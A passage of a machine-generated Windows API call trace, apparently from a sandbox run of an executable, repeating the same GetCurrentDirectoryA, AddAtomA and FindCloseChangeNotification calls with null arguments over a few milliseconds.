GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.646] AddAtomA (lpString=0x0) returned 0x0 [0093.646] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.646] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.646] AddAtomA (lpString=0x0) returned 0x0 [0093.646] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.646] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.646] AddAtomA (lpString=0x0) returned 0x0 [0093.646] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.646] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.646] AddAtomA (lpString=0x0) returned 0x0 [0093.646] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.646] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.647] AddAtomA (lpString=0x0) returned 0x0 [0093.647] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.647] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.647] AddAtomA (lpString=0x0) returned 0x0 [0093.647] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.647] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.647] AddAtomA (lpString=0x0) returned 0x0 [0093.647] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.647] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.647] AddAtomA (lpString=0x0) returned 0x0 [0093.647] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.647] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.647] AddAtomA (lpString=0x0) returned 0x0 [0093.647] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.647] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.647] AddAtomA (lpString=0x0) returned 0x0 [0093.647] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.648] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.648] AddAtomA (lpString=0x0) returned 0x0 [0093.648] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.648] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.648] AddAtomA (lpString=0x0) returned 0x0 [0093.648] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.648] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.648] AddAtomA (lpString=0x0) returned 0x0 [0093.648] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.648] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.648] AddAtomA (lpString=0x0) returned 0x0 [0093.648] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.648] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.648] AddAtomA (lpString=0x0) returned 0x0 [0093.648] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.648] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.648] AddAtomA (lpString=0x0) returned 0x0 [0093.648] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.648] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.648] AddAtomA (lpString=0x0) returned 0x0 [0093.648] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.648] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.648] AddAtomA (lpString=0x0) returned 0x0 [0093.648] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.649] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.649] AddAtomA (lpString=0x0) returned 0x0 [0093.649] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.649] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.649] AddAtomA (lpString=0x0) returned 0x0 [0093.649] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.649] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.649] AddAtomA (lpString=0x0) returned 0x0 [0093.649] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.649] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.649] AddAtomA (lpString=0x0) returned 0x0 [0093.649] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.649] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.649] AddAtomA (lpString=0x0) returned 0x0 [0093.649] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.649] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.649] AddAtomA (lpString=0x0) returned 0x0 [0093.649] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.649] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.649] AddAtomA (lpString=0x0) returned 0x0 [0093.650] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.650] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.650] AddAtomA (lpString=0x0) returned 0x0 [0093.650] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.650] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.650] AddAtomA (lpString=0x0) returned 0x0 [0093.650] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.650] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.650] AddAtomA (lpString=0x0) returned 0x0 [0093.650] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.650] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.650] AddAtomA (lpString=0x0) returned 0x0 [0093.650] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.650] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.650] AddAtomA (lpString=0x0) returned 0x0 [0093.650] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.650] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.650] AddAtomA (lpString=0x0) returned 0x0 [0093.650] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.650] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.650] AddAtomA (lpString=0x0) returned 0x0 [0093.650] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.651] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.651] AddAtomA (lpString=0x0) returned 0x0 [0093.651] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.651] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.651] AddAtomA (lpString=0x0) returned 0x0 [0093.651] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.651] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.651] AddAtomA (lpString=0x0) returned 0x0 [0093.651] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.651] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.651] AddAtomA (lpString=0x0) returned 0x0 [0093.651] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.651] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.651] AddAtomA (lpString=0x0) returned 0x0 [0093.651] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.651] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.651] AddAtomA (lpString=0x0) returned 0x0 [0093.651] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.651] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.651] AddAtomA (lpString=0x0) returned 0x0 [0093.651] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.651] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.651] AddAtomA (lpString=0x0) returned 0x0 [0093.651] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.651] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.651] AddAtomA (lpString=0x0) returned 0x0 [0093.651] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.652] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.652] AddAtomA (lpString=0x0) returned 0x0 [0093.652] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.652] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.652] AddAtomA (lpString=0x0) returned 0x0 [0093.652] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.652] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.652] AddAtomA (lpString=0x0) returned 0x0 [0093.652] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.652] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.652] AddAtomA (lpString=0x0) returned 0x0 [0093.652] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.652] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.652] AddAtomA (lpString=0x0) returned 0x0 [0093.652] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.652] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.652] AddAtomA (lpString=0x0) returned 0x0 [0093.652] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.652] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.652] AddAtomA (lpString=0x0) returned 0x0 [0093.652] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.652] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.652] AddAtomA (lpString=0x0) returned 0x0 [0093.653] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.653] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.653] AddAtomA (lpString=0x0) returned 0x0 [0093.653] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.653] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.653] AddAtomA (lpString=0x0) returned 0x0 [0093.653] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.653] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.653] AddAtomA (lpString=0x0) returned 0x0 [0093.653] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.653] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.653] AddAtomA (lpString=0x0) returned 0x0 [0093.653] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.653] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.653] AddAtomA (lpString=0x0) returned 0x0 [0093.653] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.653] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.653] AddAtomA (lpString=0x0) returned 0x0 [0093.653] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.653] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.653] AddAtomA (lpString=0x0) returned 0x0 [0093.653] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.653] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.654] AddAtomA (lpString=0x0) returned 0x0 [0093.654] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.654] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.654] AddAtomA (lpString=0x0) returned 0x0 [0093.654] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.654] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.654] AddAtomA (lpString=0x0) returned 0x0 [0093.654] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.654] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.654] AddAtomA (lpString=0x0) returned 0x0 [0093.654] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.654] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.654] AddAtomA (lpString=0x0) returned 0x0 [0093.654] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.654] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.654] AddAtomA (lpString=0x0) returned 0x0 [0093.654] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.655] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.655] AddAtomA (lpString=0x0) returned 0x0 [0093.655] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.655] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.655] AddAtomA (lpString=0x0) returned 0x0 [0093.655] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.655] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.655] AddAtomA (lpString=0x0) returned 0x0 [0093.655] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.655] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.655] AddAtomA (lpString=0x0) returned 0x0 [0093.655] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.655] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.655] AddAtomA (lpString=0x0) returned 0x0 [0093.655] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.655] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.655] AddAtomA (lpString=0x0) returned 0x0 [0093.655] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.655] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.655] AddAtomA (lpString=0x0) returned 0x0 [0093.655] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.655] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.655] AddAtomA (lpString=0x0) returned 0x0 [0093.655] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.655] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.656] AddAtomA (lpString=0x0) returned 0x0 [0093.656] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.656] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.656] AddAtomA (lpString=0x0) returned 0x0 [0093.656] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.656] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.656] AddAtomA (lpString=0x0) returned 0x0 [0093.656] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.656] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.656] AddAtomA (lpString=0x0) returned 0x0 [0093.656] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.656] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.656] AddAtomA (lpString=0x0) returned 0x0 [0093.656] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.656] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.656] AddAtomA (lpString=0x0) returned 0x0 [0093.656] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.656] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.656] AddAtomA (lpString=0x0) returned 0x0 [0093.656] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.656] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.656] AddAtomA (lpString=0x0) returned 0x0 [0093.656] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.656] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.656] AddAtomA (lpString=0x0) returned 0x0 [0093.656] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.656] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.657] AddAtomA (lpString=0x0) returned 0x0 [0093.657] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.657] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.657] AddAtomA (lpString=0x0) returned 0x0 [0093.657] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.657] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.657] AddAtomA (lpString=0x0) returned 0x0 [0093.657] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.657] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.657] AddAtomA (lpString=0x0) returned 0x0 [0093.657] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.657] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.657] AddAtomA (lpString=0x0) returned 0x0 [0093.657] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.657] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.657] AddAtomA (lpString=0x0) returned 0x0 [0093.657] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.657] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.657] AddAtomA (lpString=0x0) returned 0x0 [0093.657] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.657] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.657] AddAtomA (lpString=0x0) returned 0x0 [0093.657] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.657] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.657] AddAtomA (lpString=0x0) returned 0x0 [0093.657] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.658] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.658] AddAtomA (lpString=0x0) returned 0x0 [0093.658] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.658] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.658] AddAtomA (lpString=0x0) returned 0x0 [0093.658] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.658] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.658] AddAtomA (lpString=0x0) returned 0x0 [0093.658] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.658] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.658] AddAtomA (lpString=0x0) returned 0x0 [0093.658] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.658] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.658] AddAtomA (lpString=0x0) returned 0x0 [0093.658] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.658] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.658] AddAtomA (lpString=0x0) returned 0x0 [0093.658] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.658] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.658] AddAtomA (lpString=0x0) returned 0x0 [0093.658] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.658] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.658] AddAtomA (lpString=0x0) returned 0x0 [0093.658] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.658] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.658] AddAtomA (lpString=0x0) returned 0x0 [0093.659] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.659] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.659] AddAtomA (lpString=0x0) returned 0x0 [0093.659] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.659] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.659] AddAtomA (lpString=0x0) returned 0x0 [0093.659] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.659] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.659] AddAtomA (lpString=0x0) returned 0x0 [0093.659] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.659] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.659] AddAtomA (lpString=0x0) returned 0x0 [0093.659] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.659] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.659] AddAtomA (lpString=0x0) returned 0x0 [0093.659] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.659] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.659] AddAtomA (lpString=0x0) returned 0x0 [0093.659] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.659] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.659] AddAtomA (lpString=0x0) returned 0x0 [0093.659] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.659] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.659] AddAtomA (lpString=0x0) returned 0x0 [0093.659] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.659] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.660] AddAtomA (lpString=0x0) returned 0x0 [0093.660] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.660] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.660] AddAtomA (lpString=0x0) returned 0x0 [0093.660] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.660] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.660] AddAtomA (lpString=0x0) returned 0x0 [0093.660] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.660] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.660] AddAtomA (lpString=0x0) returned 0x0 [0093.660] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.660] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.660] AddAtomA (lpString=0x0) returned 0x0 [0093.660] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.660] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.660] AddAtomA (lpString=0x0) returned 0x0 [0093.660] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.660] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.660] AddAtomA (lpString=0x0) returned 0x0 [0093.660] FindCloseChangeNotification (hChangeHandle=0x0) returned 